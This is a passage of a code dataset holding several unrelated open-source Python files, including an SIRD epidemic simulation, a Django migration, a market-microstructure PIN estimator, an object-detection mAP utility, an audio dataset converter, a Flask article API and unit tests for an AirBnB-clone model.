np\nfrom numpy.linalg import norm\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize\n\nfrom models.SIRD import SIRD\n \nif __name__ == '__main__': \n \n dt = 0.001\n sird = SIRD()\n N = 1e3\n # Paramètres du modèle \n sird.setParam({\n 'N': N, # Population totale\n 'beta': 0.6, # Taux de transmission 0 < beta < 1 \n 'gamma':0.1, # Taux de guérison (1/j) 0 < gamma < 1\n 'nu':0.02 # Taux de létalité 0 < nu < 1\n })\n # Vecteur de conditions initiales (S0,I0,R0,D0)\n X0 = np.array([N-10,10,0,0])\n T = 60\n t = np.linspace(0,T,int(T/dt)) \n ##################################\n ##################################\n # Simulation du modèle #\n sird.simulate(\n X0, # Conditions initiales\n t, # Vecteur de temps\n dt, # Pas de temps\n 10, # Nombre de simulations\n type_simulation=\"all\"\n )\n sird.aplot(dtmc=True,alpha=0.4,det=True,conf=True)\n plt.show()\n\n \n\n # data = sird.sol_dtmc[0]\n # chunks = np.split(data,T)\n # beta = np.zeros(len(chunks))\n # gamma = np.zeros(len(chunks))\n # nu = np.zeros(len(chunks))\n # for index,chunk in enumerate(chunks) : \n # Nsi = 0\n # Nir = 0\n # Nid = 0\n\n # Ni = chunk[-1][1]\n # Ns = chunk[-1][0]\n \n # if Ni != 0 and Ns != 0 :\n # for i in range(len(chunk)-1):\n # if chunk[i+1][1] > chunk[i][1] and chunk[i+1][0] < chunk[i][0]:\n # Nsi += chunk[i][0] - chunk[i+1][0]\n # if chunk[i+1][1] < chunk[i][1] and chunk[i+1][2] > chunk[i][2]:\n # Nir += chunk[i+1][2] - chunk[i][2]\n # if chunk[i+1][1] < chunk[i][1] and chunk[i+1][3] > chunk[i][3]:\n # Nid += chunk[i+1][3] - chunk[i][3]\n \n # beta[index] = (Nsi/(Ni*Ns))\n # gamma[index] = (Nir/(Ni))\n # nu[index] = (Nid/(Ni))\n \n # beta = beta*sird.parameters['N']\n # beta = beta[beta >0]\n # gamma = gamma[gamma >0]\n # nu = nu[nu >0]\n # # nettoyage nan\n # beta = beta[~np.isnan(beta)]\n # gamma = gamma[~np.isnan(gamma)]\n # nu = nu[~np.isnan(nu)]\n\n\n # print(\"Moyenne beta : \", np.mean(beta), \" || Median beta :\", np.median(beta))\n # print(\"Moyenne gamma : \", np.mean(gamma), \" || Median gamma : \", np.median(gamma))\n # print(\"Moyenne nu : \", np.mean(nu), \" || Median nu : \", np.median(nu))\n\n # def mean_confidence_interval(data, confidence=0.95):\n # a = 1.0 * np.array(data)\n # n = len(a)\n # m, se = np.mean(a), scipy.stats.sem(a)\n # h = se * scipy.stats.t.ppf((1 + confidence) / 2., n-1)\n # return m, m-h, m+h\n\n # print(\"Intervalle de confiance sur beta : \", mean_confidence_interval(beta))\n # print(\"Intervalle de confiance sur gamma : \", mean_confidence_interval(gamma))\n # print(\"Intervalle de confiance sur nu : \", mean_confidence_interval(nu))\n\n # fig,(ax1,ax2,ax3) = plt.subplots(3)\n # ax1.hist(beta,bins=100,label='test')\n # ax2.hist(gamma,bins=100)\n # ax3.hist(nu,bins=100)\n # plt.legend()\n # plt.show()\n","repo_name":"elquasar/Coveille","sub_path":"estimation_dtmc.py","file_name":"estimation_dtmc.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13845382405","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('groups', '0003_groupmembership_invalidate'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='group',\n name='description',\n field=models.TextField(default=b'', max_length=1024, verbose_name='Description', blank=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='group',\n name='new_member_criteria',\n field=models.TextField(default=b'', help_text='Specify the criteria you will use to decide whether or not you will accept a membership request.', max_length=1024, verbose_name='New Member Criteria', blank=True),\n preserve_default=True,\n ),\n ]\n","repo_name":"mozilla/mozillians","sub_path":"mozillians/groups/migrations/0004_auto_20151028_0632.py","file_name":"0004_auto_20151028_0632.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":286,"dataset":"github-code","pt":"38"} +{"seq_id":"29548026227","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nfrom scipy import optimize\n\nRaw = pd.read_csv('2017-11-09_005930.csv', index_col = 0)\nProcessed = pd.read_csv('BuySell_Intensity.csv', index_col = 0)\nRaw = Raw[1:-1]\nRaw.index = pd.TimedeltaIndex(Raw.index)\n\ndata = Raw['close'].resample('300s').ohlc()\ndata.index = pd.TimedeltaIndex(Processed.index)\n\ndata['Sell'] = Processed['Sell']\ndata['Buy'] = Processed['Buy']\n\nprint(data.shape)\ndata.head()\n\ndata[['close']].plot(figsize=(15,4), legend = True, title=\"Price\")\ndata[['Sell','Buy']].plot.bar(figsize=(15,4), legend = True, title=\"Order Intensity\")\nplt.show()\n\nSell_I = data['Sell'].sum(axis = 0) / 76\nBuy_I = data['Buy'].sum(axis = 0) / 76\nTotal_I= Sell_I + Buy_I\n\nprint(\"Sell_Intensity:\", Sell_I)\nprint(\"Buy_Intensity:\", Buy_I)\nprint(\"Total_Intensity:\", Total_I)\n\ndef objective(init):\n a = init[0]\n d = init[1]\n r = init[2]\n \n eb = r * Buy_I\n u = (Buy_I - eb) / (a * (1-d))\n es = Sell_I - a * d * u\n \n if (a < 0.02) or (d < 0.02) or (a > 0.98) or (d > 0.98) or (u <=0) or (eb <=0) or (es <=0):\n return (math.inf)\n \n L = 0\n for i in range(76):\n B = data['Buy'][i]\n S = data['Sell'][i]\n\n k1 = -u - B * math.log (1+(u/eb))\n k2 = -u - S * math.log (1+(u/es))\n k3 = -B * math.log(1+(u/eb)) - S * math.log(1+(u/es))\n km = np.max([k1,k2,k3])\n\n inLog = a * d * math.exp(k1-km) + a * (1-d) * math.exp(k2-km) + (1-a) * math.exp(k3-km)\n if (inLog <= 0):\n return (math.inf)\n L = L + math.log(inLog) + B * math.log(eb + u) + S * math.log(es + u) - (eb + es) + km\n return(-L)\n\nresult = pd.DataFrame(columns=['L','Alpha','Delta','Mu','Eb','Es'])\nfor arange in np.arange(0.1,1,0.1):\n for drange in np.arange(0.1,1,0.1):\n for grange in np.arange(0.1,1,0.1):\n sol = optimize.minimize(objective,[arange,drange,grange], method = 'CG')\n a = sol.x[0]\n d = sol.x[1]\n r = sol.x[2]\n eb = r * Buy_I\n u = (Buy_I - eb) / (a * (1-d))\n es = Sell_I - a * d * u\n \n tmp = pd.DataFrame()\n tmp.loc[0,'L'] = sol.fun\n tmp['Alpha'] = a\n tmp['Delta'] = d\n tmp['Mu'] = u\n tmp['Eb'] = eb\n tmp['Es'] = es\n result = result.append(tmp)\n\noptimal = result.sort_values(by=['L']).iloc[0]\nPIN = optimal[1] * optimal[3] / (optimal[1] * optimal[3] + optimal[4] + optimal[5])\n\nprint(\"Alpha: \", optimal[1])\nprint(\"Delta: \", optimal[2])\nprint(\"Mu: \", optimal[3])\nprint(\"Eb: \", optimal[4])\nprint(\"Es: \", optimal[5])\nprint(\"PIN: \", PIN)\n\na = optimal[1]\nG = 1-optimal[2]\nB = optimal[2]\n\npu = 1/2 + a * (G - B) /2\npd = 1/2 - a * (G - B) /2\n\nprint(pu, pd)\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/PIN.py","file_name":"PIN.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"2899850488","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport numpy as np\nimport logging\nlogger = logging.getLogger(__name__)\n\n__all__ = ['bbox_area', 'jaccard_overlap', 'DetectionMAP']\n\n\ndef bbox_area(bbox, is_bbox_normalized):\n \"\"\"\n Calculate area of a bounding box\n \"\"\"\n norm = 1. - float(is_bbox_normalized)\n width = bbox[2] - bbox[0] + norm\n height = bbox[3] - bbox[1] + norm\n return width * height\n\n\ndef jaccard_overlap(pred, gt, is_bbox_normalized=False):\n \"\"\"\n Calculate jaccard overlap ratio between two bounding box\n \"\"\"\n if pred[0] >= gt[2] or pred[2] <= gt[0] or \\\n pred[1] >= gt[3] or pred[3] <= gt[1]:\n return 0.\n inter_xmin = max(pred[0], gt[0])\n inter_ymin = max(pred[1], gt[1])\n inter_xmax = min(pred[2], gt[2])\n inter_ymax = min(pred[3], gt[3])\n inter_size = bbox_area([inter_xmin, inter_ymin, inter_xmax, inter_ymax],\n is_bbox_normalized)\n pred_size = bbox_area(pred, is_bbox_normalized)\n gt_size = bbox_area(gt, is_bbox_normalized)\n overlap = float(inter_size) / (pred_size + gt_size - inter_size)\n return overlap\n\n\nclass DetectionMAP(object):\n \"\"\"\n Calculate detection mean average precision.\n Currently support two types: 11point and integral\n\n Args:\n class_num (int): the class number.\n overlap_thresh (float): The threshold of overlap\n ratio between prediction bounding box and \n ground truth bounding box for deciding \n true/false positive. Default 0.5.\n map_type (str): calculation method of mean average\n precision, currently support '11point' and\n 'integral'. Default '11point'.\n is_bbox_normalized (bool): whther bounding boxes\n is normalized to range[0, 1]. Default False.\n evaluate_difficult (bool): whether to evaluate\n difficult bounding boxes. Default False.\n \"\"\"\n\n def __init__(self,\n class_num,\n overlap_thresh=0.5,\n map_type='11point',\n is_bbox_normalized=False,\n evaluate_difficult=False):\n self.class_num = class_num\n self.overlap_thresh = overlap_thresh\n assert map_type in ['11point', 'integral'], \\\n \"map_type currently only support '11point' \"\\\n \"and 'integral'\"\n self.map_type = map_type\n self.is_bbox_normalized = is_bbox_normalized\n self.evaluate_difficult = evaluate_difficult\n self.reset()\n\n def update(self, bbox, gt_box, gt_label, difficult=None):\n \"\"\"\n Update metric statics from given prediction and ground\n truth infomations.\n \"\"\"\n if difficult is None:\n difficult = np.zeros_like(gt_label)\n\n # record class gt count\n for gtl, diff in zip(gt_label, difficult):\n if self.evaluate_difficult or int(diff) == 0:\n self.class_gt_counts[int(np.array(gtl))] += 1\n\n # record class score positive\n visited = [False] * len(gt_label)\n for b in bbox:\n label, score, xmin, ymin, xmax, ymax = b.tolist()\n pred = [xmin, ymin, xmax, ymax]\n max_idx = -1\n max_overlap = -1.0\n for i, gl in enumerate(gt_label):\n if int(gl) == int(label):\n overlap = jaccard_overlap(pred, gt_box[i],\n self.is_bbox_normalized)\n if overlap > max_overlap:\n max_overlap = overlap\n max_idx = i\n\n if max_overlap > self.overlap_thresh:\n if self.evaluate_difficult or \\\n int(np.array(difficult[max_idx])) == 0:\n if not visited[max_idx]:\n self.class_score_poss[int(label)].append([score, 1.0])\n visited[max_idx] = True\n else:\n self.class_score_poss[int(label)].append([score, 0.0])\n else:\n self.class_score_poss[int(label)].append([score, 0.0])\n\n def reset(self):\n \"\"\"\n Reset metric statics\n \"\"\"\n self.class_score_poss = [[] for _ in range(self.class_num)]\n self.class_gt_counts = [0] * self.class_num\n self.mAP = None\n\n def accumulate(self):\n \"\"\"\n Accumulate metric results and calculate mAP\n \"\"\"\n mAP = 0.\n valid_cnt = 0\n for score_pos, count in zip(self.class_score_poss,\n self.class_gt_counts):\n if count == 0: continue\n if len(score_pos) == 0:\n valid_cnt += 1\n continue\n\n accum_tp_list, accum_fp_list = \\\n self._get_tp_fp_accum(score_pos)\n precision = []\n recall = []\n for ac_tp, ac_fp in zip(accum_tp_list, accum_fp_list):\n precision.append(float(ac_tp) / (ac_tp + ac_fp))\n recall.append(float(ac_tp) / count)\n\n if self.map_type == '11point':\n max_precisions = [0.] * 11\n start_idx = len(precision) - 1\n for j in range(10, -1, -1):\n for i in range(start_idx, -1, -1):\n if recall[i] < float(j) / 10.:\n start_idx = i\n if j > 0:\n max_precisions[j - 1] = max_precisions[j]\n break\n else:\n if max_precisions[j] < precision[i]:\n max_precisions[j] = precision[i]\n mAP += sum(max_precisions) / 11.\n valid_cnt += 1\n elif self.map_type == 'integral':\n import math\n ap = 0.\n prev_recall = 0.\n for i in range(len(precision)):\n recall_gap = math.fabs(recall[i] - prev_recall)\n if recall_gap > 1e-6:\n ap += precision[i] * recall_gap\n prev_recall = recall[i]\n mAP += ap\n valid_cnt += 1\n else:\n logger.error(\"Unspported mAP type {}\".format(self.map_type))\n sys.exit(1)\n\n self.mAP = mAP / float(valid_cnt) if valid_cnt > 0 else mAP\n\n def get_map(self):\n \"\"\"\n Get mAP result\n \"\"\"\n if self.mAP is None:\n logger.error(\"mAP is not calculated.\")\n return self.mAP\n\n def _get_tp_fp_accum(self, score_pos_list):\n \"\"\"\n Calculate accumulating true/false positive results from\n [score, pos] records\n \"\"\"\n sorted_list = sorted(score_pos_list, key=lambda s: s[0], reverse=True)\n accum_tp = 0\n accum_fp = 0\n accum_tp_list = []\n accum_fp_list = []\n for (score, pos) in sorted_list:\n accum_tp += int(pos)\n accum_tp_list.append(accum_tp)\n accum_fp += 1 - int(pos)\n accum_fp_list.append(accum_fp)\n return accum_tp_list, accum_fp_list\n","repo_name":"Sharpiless/yolov3-vehicle-detection-paddle","sub_path":"ppdet/utils/map_utils.py","file_name":"map_utils.py","file_ext":"py","file_size_in_byte":7297,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"38"} +{"seq_id":"647631843","text":"# Creates a VPC designated to host the Cloud SQL Proxy Process\n#\n# This is for the following reason:\n# 1. This VPC will be Private IP peered with the Cloud SQL instance for security reasons\n# 2. This VPC will be able to use Private IP peering\n#\n# Cloud SQL Proxy is required in a scalable architecture. Please see Connecting from External Applications: https://cloud.google.com/sql/docs/mysql/external-connection-methods\n\n\"\"\"Creates the network.\"\"\"\n\n\ndef GenerateConfig(unused_context):\n \"\"\"Creates the network.\"\"\"\n\n resources = [{\n 'name': 'cloud-sql-proxy-vpc',\n 'type': 'compute.v1.network',\n 'properties': {\n 'routingConfig': {\n 'routingMode': 'REGIONAL'\n },\n 'autoCreateSubnetworks': False,\n 'privateIpGoogleAccess': True\n }\n }]\n return {'resources': resources}\n","repo_name":"vihag/gcp-cloud-deployment-for-qubole","sub_path":"qubole-deployment/hive_metastore/templates/gcp_compute_network_cloud_sql_proxy.py","file_name":"gcp_compute_network_cloud_sql_proxy.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"28708633153","text":"import os\nimport subprocess\nfrom deep_learning_dict_datasets import Datasets\nimport pandas as pd\nimport pathlib\n\npath_to_ffmpeg_exe = \"/usr/local/bin/ffmpeg\"\n\n\ndef convert_common_voice_mp3_to_wav(task, dataset, input_dir, output_dir):\n # convert wav to mp3\n files_list = []\n # os.walk(dataset_path)\n test_table = pd.read_table(Datasets[task][dataset][\"test_file\"])\n n_files_to_convert = test_table.shape[0]\n dataset_path = Datasets[task][dataset][\"path\"]\n input_dir = os.path.join(dataset_path, input_dir)\n output_dir = os.path.join(dataset_path, output_dir)\n if not os.path.isdir(output_dir):\n pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n for i, row in enumerate(test_table.iterrows()):\n print(\"format converting : {}/{}\".format(i, n_files_to_convert))\n file_nm = row[1][\"path\"]\n reference = row[1][\"sentence\"]\n input_file = os.path.join(input_dir, file_nm)\n output_file = os.path.join(output_dir, str(file_nm.split(\".\")[0] + \".wav\"))\n subprocess.call([path_to_ffmpeg_exe, '-i', input_file, output_file])\n # print(\"audiofile_path: {} - reference: {}\".format(file_nm, reference))\n # print(\"input_file: {}\".format(input_file))\n # print(\"output_file: {}\".format(output_file))\n\n\ndef convert_iemocap_to_iemocap_audio_csv_format():\n\n iemocap_root_path = \"data_8T/datasets/audio/IEMOCAP_full_release/\"\n iemocap_audio_path = os.path.join(iemocap_root_path, \"iemocap_audio_dataset.csv\" )\n iemocap_dataset_session1_path = os.path.join(iemocap_root_path, \"Session1\")\n iemocap_dataset_session2_path = os.path.join(iemocap_root_path, \"Session2\")\n iemocap_dataset_session3_path = os.path.join(iemocap_root_path, \"Session3\")\n iemocap_dataset_session4_path = os.path.join(iemocap_root_path, \"Session4\")\n iemocap_dataset_session5_path = os.path.join(iemocap_root_path, \"Session5\")\n\n iemocap_session_paths = [\n iemocap_dataset_session1_path,\n iemocap_dataset_session2_path,\n iemocap_dataset_session3_path,\n iemocap_dataset_session4_path,\n iemocap_dataset_session5_path,\n ]\n\n\n iemocap_audio_dictionary = {\n 'session':[],\n 'audio_path': [],\n 'gender':[],\n 'emotion_evaluation_1': [],\n 'emotion_evaluation_2': [],\n 'emotion_evaluation_3': [],\n 'emotion_evaluation_4': [],\n }\n\n for session_path in iemocap_session_paths:\n print(\"=====> \", session_path)\n session_dialog_path = os.path.join(session_path, \"dialog\", \"EmoEvaluation\")\n session_sentences_path = os.path.join(session_path, \"sentences\", \"wav\")\n for filename in os.listdir(session_dialog_path):\n file_path = os.path.join(session_dialog_path, filename)\n if not filename.startswith(\"._\") and filename.endswith(\".txt\") and os.path.isfile(file_path):\n filename_no_ext = filename.split(\".\")[0]\n session_impro_sentence_dir_path = os.path.join(session_sentences_path, filename_no_ext)\n print(\"==> file_path:{}\".format(file_path))\n print(\"==> filename:{}\".format(filename))\n print(\"==> session_impro_sentence_path:{}\".format(session_impro_sentence_dir_path))\n \n with open(file_path, \"r\") as file: # Use file to refer to the file object\n lines = file.readlines()\n for i,line in enumerate(lines): \n if line.startswith(\"[\"):\n print(i, line)\n wav_audio_filename = line.split(\"\\t\")[1]\n speaker_gender = wav_audio_filename.split(\"_\")[-1][0]\n print(\"speaker_gender:\", speaker_gender)\n wav_audio_emotion = line.split(\"\\t\")[2]\n session_impro_sentence_path = os.path.join(session_impro_sentence_dir_path, wav_audio_filename)\n iemocap_audio_dictionary['gender'].append(speaker_gender) \n iemocap_audio_dictionary['session'].append(session_path.split(\"/\")[-1]) \n iemocap_audio_dictionary['audio_path'].append(session_impro_sentence_path) \n iemocap_audio_dictionary['emotion_evaluation_1'].append(wav_audio_emotion)\n iemocap_audio_dictionary['emotion_evaluation_2'].append(lines[i+1].split(\"\\t\")[1][:-1])\n iemocap_audio_dictionary['emotion_evaluation_3'].append(lines[i+2].split(\"\\t\")[1][:-1])\n iemocap_audio_dictionary['emotion_evaluation_4'].append(lines[i+3].split(\"\\t\")[1][:-1])\n # data_8T/datasets/audio/IEMOCAP_full_release/Session1/sentences/wav/Ses01F_impro01/Ses01F_impro01_F000.wav\n print(\"=> session_impro_sentence_path:{} - Emotion:{}\".format(session_impro_sentence_path+\".wav\", wav_audio_emotion))\n print()\n\n df = pd.DataFrame(iemocap_audio_dictionary)\n df.to_csv(iemocap_audio_path, index=True) \n\n \n\n# convert_iemocap_to_iemocap_audio_csv_format()\n\n# _task = \"Automatic Speech Recognition\"\n# _datasets = [\"CommonVoice-DE-9.0\",\n# \"CommonVoice-ES-9.0\",\n# \"CommonVoice-EN-9.0\",\n# \"CommonVoice-IT-9.0\",\n# \"CommonVoice-FR-9.0\",\n# \"CommonVoice-DE-10.0\",\n# \"CommonVoice-ES-10.0\",\n# \"CommonVoice-EN-10.0\",\n# \"CommonVoice-IT-10.0\",\n# \"CommonVoice-FR-10.0\"]\n\n# _input_dir = \"clips\"\n# _output_dir = \"wavs\"\n\n# for _dataset in _datasets:\n# convert_common_voice_mp3_to_wav(_task, _dataset, _input_dir, _output_dir)","repo_name":"valeriopuglisi/audio-be","sub_path":"deep_learning_features_dataset.py","file_name":"deep_learning_features_dataset.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"18505985105","text":"class Solution:\n def findCheapestPrice(self, n: int, flights: List[List[int]], src: int, dst: int, k: int) -> int:\n \n prices=[float('inf')] * n\n prices[src]=0\n res=0\n \n for i in range(k+1):\n temp=prices.copy()\n \n for i, nei, pr in flights:\n if prices[i]==float('inf'):\n continue\n if pr+prices[i]', methods=['GET'])\ndef get_article(id): \n article = Article.get_by_key(id)\n if article is None:\n return jsonWrite('文章不存在', 201)\n return jsonWrite(article.to_dict())\n\n\n@bp.route('/article/update/', methods=['POST'])\n@login_required\n@admin_required\ndef update_article(id, **kwargs): \n user_id = g.current_user.get('id') if g.get('current_user') else None\n article = Article.get_by_key(id)\n if article is None:\n return jsonWrite('文章不存在', 201)\n if request.json.get('tags'):\n old_taglist = [item.id for item in article.tagList]\n new_taglist = request.json.get('tags').split(',')\n for item in new_taglist:\n if item not in old_taglist:\n tag = Tag.get_filter(id=item)\n article.add_tag(tag)\n for item in old_taglist:\n if str(item) not in new_taglist:\n tag = Tag.get_filter(id=item)\n article.remove_tag(tag)\n article.update(**request.json)\n return jsonWrite('更新成功')\n\n\n@bp.route('/article/delete/', methods=['GET', 'POST'])\n@login_required\n@admin_required\ndef delete_article(id, **kwargs): \n article = Article.get_by_key(id)\n if article is None:\n return jsonWrite('文章不存在', 201)\n article.update(status=-1)\n return jsonWrite('删除成功')","repo_name":"rongj/my-site-new","sub_path":"server/app/api/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":3875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5501992326","text":"#!/usr/bin/python3\n\"\"\" \"\"\"\nfrom models.base_model import BaseModel\nimport unittest\nimport datetime\nimport json\nimport os\nfrom models import storage\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\nfrom datetime import datetime\nimport json\nimport os\nimport re\nimport time\nimport unittest\nimport uuid\n\n\nclass TestBaseModel(unittest.TestCase):\n \"\"\" \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\" \"\"\"\n super().__init__(*args, **kwargs)\n self.name = 'BaseModel'\n self.value = BaseModel\n\n def setUp(self):\n \"\"\" \"\"\"\n pass\n\n def tearDown(self):\n try:\n os.remove('file.json')\n except FileNotFoundError:\n pass\n\n def test_default(self):\n \"\"\" \"\"\"\n i = self.value()\n self.assertEqual(type(i), self.value)\n\n def test_kwargs(self):\n \"\"\" \"\"\"\n i = self.value()\n copy = i.to_dict()\n new = BaseModel(**copy)\n self.assertFalse(new is i)\n\n def test_kwargs_int(self):\n \"\"\" \"\"\"\n i = self.value()\n copy = i.to_dict()\n copy.update({1: 2})\n with self.assertRaises(TypeError):\n new = BaseModel(**copy)\n\n def test_save(self):\n \"\"\"Tests Save method\"\"\"\n i = self.value()\n i.save()\n key = self.name + \".\" + i.id\n with open('file.json', 'r') as f:\n j = json.load(f)\n self.assertEqual(j[key], i.to_dict())\n\n def test_str(self):\n \"\"\" \"\"\"\n i = self.value()\n self.assertEqual(str(i), '[{}] ({}) {}'.format(self.name, i.id,\n i.__dict__))\n\n def test_todict(self):\n \"\"\" \"\"\"\n i = self.value()\n n = i.to_dict()\n self.assertEqual(i.to_dict(), n)\n\n def test_kwargs_none(self):\n \"\"\" \"\"\"\n n = {None: None}\n with self.assertRaises(TypeError):\n new = self.value(**n)\n\n def test_id(self):\n \"\"\" \"\"\"\n new = self.value()\n self.assertEqual(type(new.id), str)\n\n def test_created_at(self):\n \"\"\"Tests Datatype of the created_at Attribute\"\"\"\n new = self.value()\n self.assertEqual(type(new.created_at), datetime)\n\n def test_updated_at(self):\n \"\"\" \"\"\"\n new = self.value()\n self.assertEqual(type(new.updated_at), datetime)\n n = new.to_dict()\n new = BaseModel(**n)\n new.save()\n self.assertFalse(new.created_at == new.updated_at)\n\n\nclass TestBaseModel2(unittest.TestCase):\n\n \"\"\"Test Cases for the BaseModel class.\"\"\"\n\n def setUp(self):\n \"\"\"Sets up test methods.\"\"\"\n pass\n\n def tearDown(self):\n \"\"\"Tears down test methods.\"\"\"\n self.resetStorage()\n pass\n\n def resetStorage(self):\n \"\"\"Resets FileStorage data.\"\"\"\n FileStorage._FileStorage__objects = {}\n if os.path.isfile(FileStorage._FileStorage__file_path):\n os.remove(FileStorage._FileStorage__file_path)\n\n def test_3_instantiation(self):\n \"\"\"Tests instantiation of BaseModel class.\"\"\"\n\n b = BaseModel()\n self.assertEqual(str(type(b)), \"\")\n self.assertIsInstance(b, BaseModel)\n self.assertTrue(issubclass(type(b), BaseModel))\n\n def test_3_init_no_args(self):\n \"\"\"Tests __init__ with no arguments.\"\"\"\n self.resetStorage()\n with self.assertRaises(TypeError) as e:\n BaseModel.__init__()\n msg = \"BaseModel.__init__() missing 1 required \" \\\n \"positional argument: 'self'\"\n self.assertEqual(str(e.exception), msg)\n\n def test_3_init_many_args(self):\n \"\"\"Tests __init__ with many arguments.\"\"\"\n self.resetStorage()\n args = [i for i in range(1000)]\n b = BaseModel(0, 1, 2, 3, 4, 5, 6, 7, 8, 9)\n b = BaseModel(*args)\n\n def test_3_attributes(self):\n \"\"\"Tests attributes value for instance of a BaseModel class.\"\"\"\n\n attributes = storage.attributes()[\"BaseModel\"]\n o = BaseModel()\n for k, v in attributes.items():\n self.assertTrue(hasattr(o, k))\n self.assertEqual(type(getattr(o, k, None)), v)\n\n def test_3_datetime_created(self):\n \"\"\"Tests if updated_at & created_at are current at creation.\"\"\"\n date_now = datetime.now()\n b = BaseModel()\n diff = b.updated_at - b.created_at\n self.assertTrue(abs(diff.total_seconds()) < 0.01)\n diff = b.created_at - date_now\n self.assertTrue(abs(diff.total_seconds()) < 0.1)\n\n def test_3_id(self):\n \"\"\"Tests for unique user ids.\"\"\"\n\n nl = [BaseModel().id for i in range(1000)]\n self.assertEqual(len(set(nl)), len(nl))\n\n def test_3_save(self):\n \"\"\"Tests the public instance method save().\"\"\"\n\n b = BaseModel()\n time.sleep(0.5)\n date_now = datetime.now()\n b.save()\n diff = b.updated_at - date_now\n self.assertTrue(abs(diff.total_seconds()) < 0.01)\n\n def test_3_str(self):\n \"\"\"Tests for __str__ method.\"\"\"\n b = BaseModel()\n rex = re.compile(r\"^\\[(.*)\\] \\((.*)\\) (.*)$\")\n res = rex.match(str(b))\n self.assertIsNotNone(res)\n self.assertEqual(res.group(1), \"BaseModel\")\n self.assertEqual(res.group(2), b.id)\n s = res.group(3)\n s = re.sub(r\"(datetime\\.datetime\\([^)]*\\))\", \"'\\\\1'\", s)\n d = json.loads(s.replace(\"'\", '\"'))\n d2 = b.__dict__.copy()\n d2[\"created_at\"] = repr(d2[\"created_at\"])\n d2[\"updated_at\"] = repr(d2[\"updated_at\"])\n self.assertEqual(d, d2)\n\n def test_3_to_dict(self):\n \"\"\"Tests the public instance method to_dict().\"\"\"\n\n b = BaseModel()\n b.name = \"Laura\"\n b.age = 23\n d = b.to_dict()\n self.assertEqual(d[\"id\"], b.id)\n self.assertEqual(d[\"__class__\"], type(b).__name__)\n self.assertEqual(d[\"created_at\"], b.created_at.isoformat())\n self.assertEqual(d[\"updated_at\"], b.updated_at.isoformat())\n self.assertEqual(d[\"name\"], b.name)\n self.assertEqual(d[\"age\"], b.age)\n\n def test_3_to_dict_no_args(self):\n \"\"\"Tests to_dict() with no arguments.\"\"\"\n self.resetStorage()\n with self.assertRaises(TypeError) as e:\n BaseModel.to_dict()\n msg = \"BaseModel.to_dict() missing 1 required \" \\\n \"positional argument: 'self'\"\n self.assertEqual(str(e.exception), msg)\n\n def test_3_to_dict_excess_args(self):\n \"\"\"Tests to_dict() with too many arguments.\"\"\"\n self.resetStorage()\n with self.assertRaises(TypeError) as e:\n BaseModel.to_dict(self, 98)\n msg = \"BaseModel.to_dict() takes 1 \" \\\n \"positional argument but 2 were given\"\n self.assertEqual(str(e.exception), msg)\n\n def test_4_instantiation(self):\n \"\"\"Tests instantiation with **kwargs.\"\"\"\n\n my_model = BaseModel()\n my_model.name = \"Holberton\"\n my_model.my_number = 89\n my_model_json = my_model.to_dict()\n my_new_model = BaseModel(**my_model_json)\n self.assertEqual(my_new_model.to_dict(), my_model.to_dict())\n\n def test_4_instantiation_dict(self):\n \"\"\"Tests instantiation with **kwargs from custom dict.\"\"\"\n d = {\"__class__\": \"BaseModel\",\n \"updated_at\":\n datetime(2050, 12, 30, 23, 59, 59, 123456).isoformat(),\n \"created_at\": datetime.now().isoformat(),\n \"id\": str(uuid.uuid4()),\n \"var\": \"foobar\",\n \"int\": 108,\n \"float\": 3.14}\n o = BaseModel(**d)\n self.assertEqual(o.to_dict(), d)\n\n def test_5_save(self):\n \"\"\"Tests that storage.save() is called from save().\"\"\"\n self.resetStorage()\n b = BaseModel()\n b.save()\n key = \"{}.{}\".format(type(b).__name__, b.id)\n d = {key: b.to_dict()}\n self.assertTrue(os.path.isfile(FileStorage._FileStorage__file_path))\n with open(FileStorage._FileStorage__file_path,\n \"r\", encoding=\"utf-8\") as f:\n self.assertEqual(len(f.read()), len(json.dumps(d)))\n f.seek(0)\n self.assertEqual(json.load(f), d)\n\n def test_5_save_no_args(self):\n \"\"\"Tests save() with no arguments.\"\"\"\n self.resetStorage()\n with self.assertRaises(TypeError) as e:\n BaseModel.save()\n msg = \"BaseModel.save() missing 1 required positional argument: 'self'\"\n self.assertEqual(str(e.exception), msg)\n\n def test_5_save_excess_args(self):\n \"\"\"Tests save() with too many arguments.\"\"\"\n self.resetStorage()\n with self.assertRaises(TypeError) as e:\n BaseModel.save(self, 98)\n msg = \"BaseModel.save() takes 1 positional argument but 2 were given\"\n self.assertEqual(str(e.exception), msg)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"lukwagoraymond/AirBnB_clone","sub_path":"tests/test_models/test_base_model.py","file_name":"test_base_model.py","file_ext":"py","file_size_in_byte":8911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28615290242","text":"from datetime import datetime\nimport random\nfrom pathlib import Path\nimport csv\nfrom 